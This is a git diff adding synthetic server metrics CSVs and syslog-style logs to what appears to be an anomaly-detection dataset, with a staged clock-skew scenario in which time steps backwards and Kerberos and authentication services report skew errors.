+2025-08-22T10:03:40Z,12.04,37.24,27.64,1.59,0.81 +2025-08-22T10:03:45Z,13.56,44.65,35.44,1.21,1.02 +2025-08-22T10:03:50Z,14.08,37.65,30.32,1.4,0.69 +2025-08-22T10:03:55Z,17.11,39.03,24.61,1.11,0.87 +2025-08-22T10:04:00Z,15.69,42.44,26.42,1.3,0.92 +2025-08-22T10:04:05Z,11.47,36.31,33.4,1.16,1.0 +2025-08-22T10:04:10Z,15.65,40.68,26.35,1.23,1.04 +2025-08-22T10:04:15Z,14.23,43.92,31.08,1.38,0.68 +2025-08-22T10:04:20Z,13.65,35.18,30.23,0.95,0.59 +2025-08-22T10:04:25Z,16.22,40.55,26.74,1.83,1.16 +2025-08-22T10:04:30Z,17.06,40.78,40.72,0.9,0.97 +2025-08-22T10:04:35Z,16.86,42.35,33.17,0.84,0.75 +2025-08-22T10:04:40Z,13.32,36.29,19.87,1.55,1.21 +2025-08-22T10:04:45Z,14.38,36.04,30.93,1.44,0.92 +2025-08-22T10:04:50Z,15.66,41.57,26.69,1.39,1.14 +2025-08-22T10:04:55Z,16.95,40.89,34.26,1.39,0.91 +2025-08-22T10:05:00Z,14.04,40.75,26.04,1.2,1.31 +2025-08-22T10:05:05Z,14.63,41.04,29.43,0.93,1.25 +2025-08-22T10:05:10Z,12.79,37.96,32.52,1.22,0.85 +2025-08-22T10:05:15Z,12.61,40.7,34.33,1.0,1.09 +2025-08-22T10:05:20Z,16.63,40.88,24.0,1.49,1.03 +2025-08-22T10:05:25Z,17.71,37.86,28.33,1.16,1.17 +2025-08-22T10:05:30Z,14.86,45.6,27.63,0.95,0.71 +2025-08-22T10:05:35Z,17.01,41.42,26.73,1.1,1.04 +2025-08-22T10:05:40Z,15.72,36.43,38.83,1.32,1.11 +2025-08-22T10:05:45Z,13.71,41.97,32.02,1.03,0.55 +2025-08-22T10:05:50Z,15.72,37.08,23.7,0.95,0.66 +2025-08-22T10:05:55Z,18.08,42.36,34.59,1.27,0.49 +2025-08-22T10:06:00Z,14.93,43.48,40.61,1.27,0.85 +2025-08-22T10:06:05Z,18.13,37.54,35.16,1.05,1.04 +2025-08-22T10:06:10Z,9.76,42.89,22.4,1.06,1.2 +2025-08-22T10:06:15Z,16.64,41.24,27.58,1.27,0.91 +2025-08-22T10:06:20Z,15.17,42.47,36.33,0.77,1.23 +2025-08-22T10:06:25Z,14.4,45.69,26.46,0.78,0.62 +2025-08-22T10:06:30Z,15.18,39.26,32.22,0.98,0.56 +2025-08-22T10:06:35Z,11.02,37.74,33.87,1.14,0.89 +2025-08-22T10:06:40Z,14.56,37.33,25.37,1.29,0.98 +2025-08-22T10:06:45Z,15.71,37.55,29.7,1.64,0.89 +2025-08-22T10:06:50Z,17.96,39.77,13.79,1.46,0.49 +2025-08-22T10:06:55Z,13.96,41.02,24.88,1.15,0.88 +2025-08-22T10:07:00Z,13.38,40.83,28.74,1.19,0.64 +2025-08-22T10:07:05Z,14.0,42.48,23.76,0.9,1.03 +2025-08-22T10:07:10Z,16.83,40.04,38.16,1.19,0.97 +2025-08-22T10:07:15Z,15.66,44.36,22.85,1.11,0.71 +2025-08-22T10:07:20Z,13.94,39.21,27.8,1.3,0.8 +2025-08-22T10:07:25Z,16.03,48.16,30.65,0.95,0.69 diff --git a/anom_dataset/scenario_16/anom_16_12.log b/anom_dataset/scenario_16/anom_16_12.log new file mode 100644 index 0000000000000000000000000000000000000000..e300cb0cf62dbf5e94f41df4b5d6e7b69e8df93c --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_12.log @@ -0,0 +1,90 @@ +Aug 22 10:00:00 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:00:05 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:00:10 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:00:15 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:00:20 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:00:25 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:30 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:00:35 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:00:40 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:00:45 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:50 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:55 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:01:05 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:01:10 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:15 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:01:20 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:25 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:01:30 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:01:35 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:01:40 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:01:45 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:50 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:01:55 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:02:00 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:05 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:10 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:02:15 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:02:20 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:25 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:30 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:35 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:40 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:45 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:02:50 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:55 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:00 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:03:05 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:10 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:03:15 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:20 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:03:25 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:03:30 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:03:35 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:03:40 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 09:58:45 server-7 auth-service[4555]: ERROR Authentication failed: Token timestamp is invalid. Clock skew detected. +Aug 22 09:58:50 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 09:58:55 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 09:59:00 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 09:59:05 server-7 ntpdate[123]: step-slew server 162.159.200.123 step -300.000000 sec +Aug 22 09:59:10 server-7 ntpdate[123]: step-slew server 162.159.200.123 step -300.000000 sec +Aug 22 09:59:15 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 09:59:20 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 09:59:25 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 09:59:30 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 09:59:35 server-7 kerberos-auth[4501]: ERROR Clock skew too great for client user@REALM +Aug 22 09:59:40 server-7 distributed-db[5623]: WARN Received transaction from node-3 with timestamp in the future, possible clock skew. +Aug 22 09:59:45 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 09:59:50 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 09:59:55 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:00:00 server-7 kerberos-auth[4501]: ERROR Clock skew too great for client user@REALM +Aug 22 10:00:05 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:00:10 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:15 server-7 distributed-db[5623]: WARN Received transaction from node-3 with timestamp in the future, possible clock skew. +Aug 22 10:00:20 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:25 server-7 auth-service[4555]: ERROR Authentication failed: Token timestamp is invalid. Clock skew detected. +Aug 22 10:00:30 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:00:35 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:00:40 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:00:45 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:00:50 server-7 kerberos-auth[4501]: ERROR Clock skew too great for client user@REALM +Aug 22 10:00:55 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:01:00 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:01:05 server-7 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:10 server-7 webapp[3341]: GET /api/v1/user/profile status=200 OK +Aug 22 10:01:15 server-7 auth-service[4555]: ERROR Authentication failed: Token timestamp is invalid. Clock skew detected. +Aug 22 10:01:20 server-7 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:25 server-7 ntpdate[123]: step-slew server 162.159.200.123 step -300.000000 sec +Aug 22 10:01:30 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:01:35 server-7 kubelet[2109]: INFO Liveness probe succeeded for pod webapp-deployment +Aug 22 10:01:40 server-7 distributed-db[5623]: WARN Received transaction from node-3 with timestamp in the future, possible clock skew. +Aug 22 10:01:45 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:01:50 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:01:55 server-7 sshd[8890]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 22 10:02:00 server-7 auth-service[4555]: ERROR Authentication failed: Token timestamp is invalid. Clock skew detected. +Aug 22 10:02:05 server-7 auth-service[4555]: ERROR Authentication failed: Token timestamp is invalid. Clock skew detected. +Aug 22 10:02:10 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:02:15 server-7 webapp[3341]: POST /api/v1/user/login status=200 OK +Aug 22 10:02:20 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... +Aug 22 10:02:25 server-7 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=... diff --git a/anom_dataset/scenario_16/anom_16_13.csv b/anom_dataset/scenario_16/anom_16_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..e94310b92bc50ca6b79f0fc8e85f4bf52dbcfee8 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T10:00:00Z,13.75,36.2,26.82,1.31,0.89 +2025-08-16T10:00:05Z,19.51,42.13,22.27,1.31,1.14 +2025-08-16T10:00:10Z,17.32,42.61,38.49,1.37,0.96 +2025-08-16T10:00:15Z,15.99,40.61,37.55,1.41,1.05 +2025-08-16T10:00:20Z,11.56,42.71,25.16,1.01,1.44 +2025-08-16T10:00:25Z,11.56,39.94,33.2,1.0,0.89 +2025-08-16T10:00:30Z,10.58,40.23,36.34,1.3,1.46 +2025-08-16T10:00:35Z,18.66,39.28,31.1,1.15,1.41 +2025-08-16T10:00:40Z,16.01,35.25,30.59,1.2,0.7 +2025-08-16T10:00:45Z,17.08,36.08,24.84,1.3,0.57 +2025-08-16T10:00:50Z,10.21,35.31,21.86,1.39,0.6 +2025-08-16T10:00:55Z,19.7,41.36,37.94,0.84,0.52 +2025-08-16T10:01:00Z,18.32,38.14,38.01,0.88,0.59 +2025-08-16T10:01:05Z,12.12,40.09,32.66,0.59,1.18 +2025-08-16T10:01:10Z,11.82,44.08,26.78,1.08,0.57 +2025-08-16T10:01:15Z,11.83,37.49,26.98,0.54,0.82 +2025-08-16T10:01:20Z,13.04,39.1,34.52,0.97,1.34 +2025-08-16T10:01:25Z,15.25,42.56,37.94,1.04,0.52 +2025-08-16T10:01:30Z,14.32,37.29,37.74,0.79,1.31 +2025-08-16T10:01:35Z,12.91,35.77,35.6,1.09,0.78 +2025-08-16T10:01:40Z,16.12,37.9,32.84,0.53,0.62 +2025-08-16T10:01:45Z,11.39,36.61,21.68,0.54,1.2 +2025-08-16T10:01:50Z,12.92,44.3,23.23,1.32,1.13 +2025-08-16T10:01:55Z,13.66,43.08,37.97,0.86,1.38 +2025-08-16T10:02:00Z,14.56,41.33,32.13,0.63,1.24 +2025-08-16T10:02:05Z,17.85,43.71,20.18,1.02,1.3 +2025-08-16T10:02:10Z,12.0,43.04,22.03,1.27,0.78 +2025-08-16T10:02:15Z,15.14,36.87,33.27,0.72,0.68 +2025-08-16T10:02:20Z,15.92,43.93,20.1,1.12,1.25 +2025-08-16T10:02:25Z,10.46,40.39,23.22,0.59,1.31 +2025-08-16T10:02:30Z,16.08,43.07,30.97,0.55,1.49 +2025-08-16T10:02:35Z,11.71,43.96,33.84,1.03,0.91 +2025-08-16T10:02:40Z,10.65,38.18,33.04,1.04,0.87 +2025-08-16T10:02:45Z,19.49,36.1,24.49,1.14,1.28 +2025-08-16T10:02:50Z,19.66,37.28,34.24,1.23,0.84 +2025-08-16T10:02:55Z,18.08,39.27,24.74,1.48,1.43 +2025-08-16T10:03:00Z,13.05,43.18,26.51,1.02,1.36 +2025-08-16T10:03:05Z,10.98,43.61,34.93,0.82,0.93 +2025-08-16T10:03:10Z,16.84,35.07,32.99,1.3,1.25 +2025-08-16T10:03:15Z,14.4,40.11,36.98,0.77,1.25 +2025-08-16T10:03:20Z,11.22,39.17,33.15,0.94,0.6 +2025-08-16T10:03:25Z,14.95,37.22,31.37,0.58,1.4 +2025-08-16T10:03:30Z,10.34,36.2,21.87,0.53,1.01 +2025-08-16T10:03:35Z,19.09,38.38,27.35,1.46,1.33 +2025-08-16T10:03:40Z,12.59,44.43,25.3,1.34,0.82 +2025-08-16T10:03:45Z,16.63,38.23,24.88,1.2,1.4 +2025-08-16T10:03:50Z,13.12,40.19,39.46,0.91,0.89 +2025-08-16T10:03:55Z,15.2,42.03,27.86,0.67,0.51 +2025-08-16T10:04:00Z,15.47,38.64,37.84,0.66,1.41 +2025-08-16T10:04:05Z,11.85,44.72,32.62,0.75,0.59 +2025-08-16T10:04:10Z,19.7,44.62,35.9,1.05,0.82 +2025-08-16T10:04:15Z,17.75,37.52,30.05,1.21,1.45 +2025-08-16T10:04:20Z,19.39,39.97,31.54,1.16,1.45 +2025-08-16T10:04:25Z,18.95,38.01,29.85,0.78,1.07 +2025-08-16T10:04:30Z,15.98,37.85,23.9,1.45,1.13 +2025-08-16T10:04:35Z,19.22,35.37,34.45,1.24,0.95 +2025-08-16T10:04:40Z,10.88,41.1,25.62,1.05,0.79 +2025-08-16T10:04:45Z,11.96,40.03,20.49,1.11,0.83 +2025-08-16T10:04:50Z,10.45,35.51,32.91,0.92,1.17 +2025-08-16T10:04:55Z,13.25,37.79,23.54,0.75,1.25 +2025-08-16T10:05:00Z,13.89,44.08,38.81,0.86,1.29 +2025-08-16T10:05:05Z,12.71,37.4,39.08,1.26,1.29 +2025-08-16T10:05:10Z,18.29,36.45,38.3,0.51,0.59 +2025-08-16T10:05:15Z,13.57,39.89,27.4,0.62,0.99 +2025-08-16T10:05:20Z,12.81,44.86,20.31,0.55,0.56 +2025-08-16T10:05:25Z,15.43,37.42,38.57,0.54,1.05 +2025-08-16T10:05:30Z,11.41,41.72,28.56,1.36,0.94 +2025-08-16T10:05:35Z,18.02,42.62,39.33,1.2,1.39 +2025-08-16T10:05:40Z,10.75,37.38,39.27,0.97,0.85 +2025-08-16T10:05:45Z,19.87,42.28,37.06,0.6,0.62 +2025-08-16T10:05:50Z,17.72,38.68,25.89,0.99,0.64 +2025-08-16T10:05:55Z,11.99,41.32,27.7,0.97,1.26 +2025-08-16T10:06:00Z,10.06,41.34,37.02,0.67,1.12 +2025-08-16T10:06:05Z,18.15,40.36,26.34,0.93,0.6 +2025-08-16T10:06:10Z,17.07,35.9,23.39,0.9,0.58 +2025-08-16T10:06:15Z,17.29,43.35,31.14,1.12,1.2 +2025-08-16T10:06:20Z,17.71,38.21,38.72,1.14,0.57 +2025-08-16T10:06:25Z,10.74,36.87,33.92,0.55,1.32 +2025-08-16T10:06:30Z,13.58,35.41,31.4,0.87,1.21 +2025-08-16T10:06:35Z,11.16,40.91,21.94,1.13,0.58 +2025-08-16T10:06:40Z,18.63,41.78,32.3,1.0,0.58 +2025-08-16T10:06:45Z,16.23,35.17,39.8,1.36,1.49 +2025-08-16T10:06:50Z,13.31,40.12,22.8,1.16,0.87 +2025-08-16T10:06:55Z,10.64,37.26,30.37,0.66,0.87 +2025-08-16T10:07:00Z,13.11,41.45,37.55,0.57,1.31 +2025-08-16T10:07:05Z,13.25,36.74,34.82,1.14,1.45 +2025-08-16T10:07:10Z,17.3,41.91,33.94,0.53,1.49 +2025-08-16T10:07:15Z,16.38,38.87,34.05,1.09,1.25 +2025-08-16T10:07:20Z,18.87,44.37,27.19,1.44,0.88 +2025-08-16T10:07:25Z,14.72,36.38,25.87,1.08,0.58 diff --git a/anom_dataset/scenario_16/anom_16_13.log b/anom_dataset/scenario_16/anom_16_13.log new file mode 100644 index 0000000000000000000000000000000000000000..c4026ec73d97509023e3bd178bead8b8fc46211e --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_13.log @@ -0,0 +1,90 @@ +Aug 16 10:00:00 web-app[3923]: GET /api/v1/health status=200 OK +Aug 16 10:00:05 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 16 10:00:10 web-app[1234]: GET /api/v1/user/36 status=200 OK +Aug 16 10:00:15 CRON[6977]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 16 10:00:20 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 16 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 16 10:00:30 web-app[5748]: GET /api/v1/health status=200 OK +Aug 16 10:00:35 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 16 10:00:40 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 16 10:00:45 auth-service[9647]: INFO User 'admin' logged in successfully from 192.168.1.100 +Aug 16 10:00:50 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 16 10:00:55 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 16 10:01:00 kernel: [ 1755338460.123456] usb 1-1: new high-speed USB device number 8 using xhci_hcd +Aug 16 10:01:05 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 16 10:01:10 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 16 10:01:15 web-app[1133]: GET /api/v1/health status=200 OK +Aug 16 10:01:20 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 16 10:01:25 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 16 10:01:30 web-app[6348]: GET /api/v1/health status=200 OK +Aug 16 10:01:35 web-app[1234]: GET /api/v1/user/44 status=200 OK +Aug 16 10:01:40 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 16 10:01:45 auth-service[7190]: INFO User 'admin' logged in successfully from 192.168.1.100 +Aug 16 10:01:50 web-app[1234]: GET /api/v1/user/23 status=200 OK +Aug 16 10:01:55 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 16 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 16 10:02:05 web-app[1234]: GET /api/v1/user/25 status=200 OK +Aug 16 10:02:10 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 16 10:02:15 systemd[1]: Starting daily clean up activities... +Aug 16 10:02:20 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 16 10:02:25 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 16 10:02:30 auth-service[8575]: INFO User 'admin' logged in successfully from 192.168.1.100 +Aug 16 10:02:36 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 16 10:02:42 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 16 10:02:48 auth-service[4719]: INFO User 'admin' logged in successfully from 192.168.1.100 +Aug 16 10:02:54 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 16 10:03:00 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 16 10:03:06 web-app[5835]: GET /api/v1/health status=200 OK +Aug 16 10:03:12 web-app[1234]: GET /api/v1/user/36 status=200 OK +Aug 16 10:03:18 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 16 10:03:24 systemd[1]: Starting daily clean up activities... +Aug 16 10:03:30 web-app[1234]: GET /api/v1/user/22 status=200 OK +Aug 16 10:03:36 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 16 10:03:42 web-app[2581]: GET /api/v1/health status=200 OK +Aug 16 10:03:48 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 16 10:03:54 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 16 10:04:00 kernel: [ 1755338625.123456] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 16 10:04:06 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 16 10:04:12 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 16 10:04:18 CRON[3871]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 16 10:04:24 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 16 10:04:30 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 16 10:04:36 systemd[1]: Starting daily clean up activities... +Aug 16 10:04:42 web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 16 10:04:48 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 16 10:04:54 CRON[5158]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 16 10:05:00 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 16 10:05:06 web-app[1234]: GET /api/v1/user/36 status=200 OK +Aug 16 10:05:12 systemd[1]: Starting daily clean up activities... +Aug 16 10:05:18 web-app[1234]: GET /api/v1/user/44 status=200 OK +Aug 16 10:05:24 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 16 10:05:30 web-app[9175]: GET /api/v1/health status=200 OK +Aug 16 10:05:36 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 16 10:05:42 kerberos-client[3000]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:05:48 web-app[6989]: GET /api/v1/health status=200 OK +Aug 16 10:05:54 kerberos-client[2460]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:06:00 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 16 10:06:06 web-app[4636]: GET /api/v1/health status=200 OK +Aug 16 10:06:12 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 16 10:06:18 kerberos-client[5178]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:06:24 systemd[1]: Starting daily clean up activities... +Aug 16 10:06:30 kerberos-client[6997]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:06:36 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 16 10:06:42 kernel: [ 1755338760.123456] usb 1-1: new high-speed USB device number 6 using xhci_hcd +Aug 16 10:06:48 web-app[1234]: GET /api/v1/user/13 status=200 OK +Aug 16 10:06:54 kerberos-client[6565]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 16 10:07:06 kerberos-client[4419]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:07:12 web-app[1234]: GET /api/v1/user/40 status=200 OK +Aug 16 10:07:18 CRON[1249]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 16 10:07:24 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 16 10:07:30 kerberos-client[5363]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:07:36 systemd[1]: Starting daily clean up activities... +Aug 16 10:07:42 kerberos-client[9580]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:07:48 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 16 10:07:54 kernel: [ 1755338820.123456] usb 1-1: new high-speed USB device number 9 using xhci_hcd +Aug 16 10:08:00 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 16 10:08:06 kerberos-client[2252]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:08:12 web-app[5673]: GET /api/v1/health status=200 OK +Aug 16 10:08:18 kerberos-client[5530]: ERROR krb5_sendauth: Clock skew detected with KDC +Aug 16 10:08:24 web-app[1234]: GET /api/v1/user/48 status=200 OK diff --git a/anom_dataset/scenario_16/anom_16_14.csv b/anom_dataset/scenario_16/anom_16_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..e123fe103f72c2e22710f0e0c327b2772fdb2ca7 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,11.12,38.19,30.79,1.04,1.05 +2025-07-16T10:00:05Z,15.76,42.44,30.38,1.08,0.87 +2025-07-16T10:00:10Z,15.66,39.98,33.41,1.12,0.9 +2025-07-16T10:00:15Z,13.15,38.6,33.18,1.46,0.97 +2025-07-16T10:00:20Z,12.91,35.26,35.24,1.31,0.51 +2025-07-16T10:00:25Z,15.8,47.62,27.94,1.29,0.64 +2025-07-16T10:00:30Z,16.55,45.35,27.38,1.05,1.16 +2025-07-16T10:00:35Z,13.0,44.83,31.68,1.09,0.52 +2025-07-16T10:00:40Z,15.33,43.6,25.02,1.0,0.76 +2025-07-16T10:00:45Z,15.26,36.38,34.46,1.25,0.92 +2025-07-16T10:00:50Z,20.46,39.83,32.9,1.3,0.75 +2025-07-16T10:00:55Z,12.42,38.54,22.7,0.93,1.08 +2025-07-16T10:01:00Z,13.15,35.23,37.66,0.8,1.1 +2025-07-16T10:01:05Z,13.64,42.29,31.18,1.24,1.14 +2025-07-16T10:01:10Z,17.36,43.69,34.54,0.94,0.68 +2025-07-16T10:01:15Z,13.87,37.24,24.45,0.9,0.71 +2025-07-16T10:01:20Z,16.38,37.8,29.22,1.21,0.91 +2025-07-16T10:01:25Z,17.89,40.99,28.05,1.27,1.1 +2025-07-16T10:01:30Z,16.01,36.84,35.09,1.34,0.91 +2025-07-16T10:01:35Z,17.24,37.51,36.17,1.3,0.66 +2025-07-16T10:01:40Z,14.17,38.36,29.52,0.69,0.8 +2025-07-16T10:01:45Z,11.49,40.01,27.73,1.22,1.11 +2025-07-16T10:01:50Z,15.29,42.91,31.3,1.21,0.79 +2025-07-16T10:01:55Z,14.53,40.47,36.18,1.13,1.03 +2025-07-16T10:02:00Z,18.42,44.62,39.59,1.07,0.99 +2025-07-16T10:02:05Z,16.38,40.98,29.84,1.16,0.75 +2025-07-16T10:02:10Z,14.91,41.15,31.14,1.66,0.86 +2025-07-16T10:02:15Z,17.78,40.93,29.15,1.36,1.05 +2025-07-16T10:02:20Z,14.13,42.9,30.39,1.08,0.8 +2025-07-16T10:02:25Z,16.55,46.77,24.29,1.17,0.55 +2025-07-16T10:02:30Z,15.33,43.21,32.46,0.77,0.75 +2025-07-16T10:02:35Z,15.71,36.07,30.43,1.16,0.68 +2025-07-16T10:02:40Z,13.8,41.67,39.73,0.93,0.98 +2025-07-16T10:02:45Z,14.29,38.45,30.45,0.68,0.85 +2025-07-16T10:02:50Z,14.2,39.87,32.24,1.53,0.68 +2025-07-16T10:02:55Z,14.7,37.78,28.68,0.78,0.67 +2025-07-16T10:03:00Z,11.26,39.73,25.2,1.21,1.22 +2025-07-16T10:03:05Z,14.23,42.55,32.23,1.09,0.75 +2025-07-16T10:03:10Z,16.9,42.92,28.31,1.11,1.18 +2025-07-16T10:03:15Z,20.96,40.97,27.22,1.06,1.09 